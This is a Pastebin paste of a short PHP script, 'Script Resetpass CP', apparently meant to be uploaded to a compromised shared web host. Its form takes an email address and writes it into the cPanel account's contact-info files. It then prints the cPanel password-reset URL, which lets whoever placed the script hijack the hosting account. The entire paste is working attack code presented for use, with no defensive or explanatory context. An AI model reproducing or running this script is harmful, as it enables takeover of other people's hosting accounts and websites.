SAINTSATRIA

cp.php

Apr 17th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. <?php echo "<h1>".__FILE__."</h1>";?>
  2. <?php
  3. ############################
  4. ##Script Resetpass CP 2017##
  5. ##Coded By Moneer Masoud ##
  6. ############################
  7. echo '<html>
  8. <head>
  9. <title>Script Resetpass CP </title>
  10. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  11. <style>
  12. body {
  13. color:#80D713;
  14. background-color:#000000;
  15. }
  16. h2{
  17. color:#80D713;
  18. }
  19. </style>
  20. </head>
  21. <body>
  22. <!--SCC -->
  23. <center>
  24. <div style="border-radius: 10px;border: 1px solid #45BD00;padding: 4px 2px;width: 25%;line-height: 24px;background: #000;color:#fff;">
  25. <p><h2>Script Resetpass CP</h2></p>
  26. <p><h2>Coded By Moneer Masoud</h2></p>
  27. <p>
  28. <form action="#" method="post">
  29. <input type="email" name="email" style="background-color: #181818;font: 9pt tahoma;color:#80D713;" />
  30. <input type="submit" name="submit" value="Send" style="background-color: #181818;font: 9pt tahoma;color:#80D713;"/>
  31. </form>
  32. <br /><br /><br />
  33. </p>
  34. </div>
  35. </center>
  36. </body>
  37. </html>';
  38.  
  39. $user = get_current_user();
  40. $site = $_SERVER['HTTP_HOST'];
  41. $ips = getenv('REMOTE_ADDR');
  42.  
  43. if(isset($_POST['submit'])){
  44.  
  45. $email = $_POST['email'];
  46. $wr = 'email:'.$email;
  47. $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
  48. fwrite($f, $wr);
  49. fclose($f);
  50. $f = fopen('/home/'.$user.'/.contactinfo', 'w');
  51. fwrite($f, $wr);
  52. fclose($f);
  53. $parm = $site.':2082/resetpass?start=1';
  54. echo '<br/><center>'.$parm.'</center>';
  55. }
  56.  
  57. ?>
Add Comment
Please, Sign In to add comment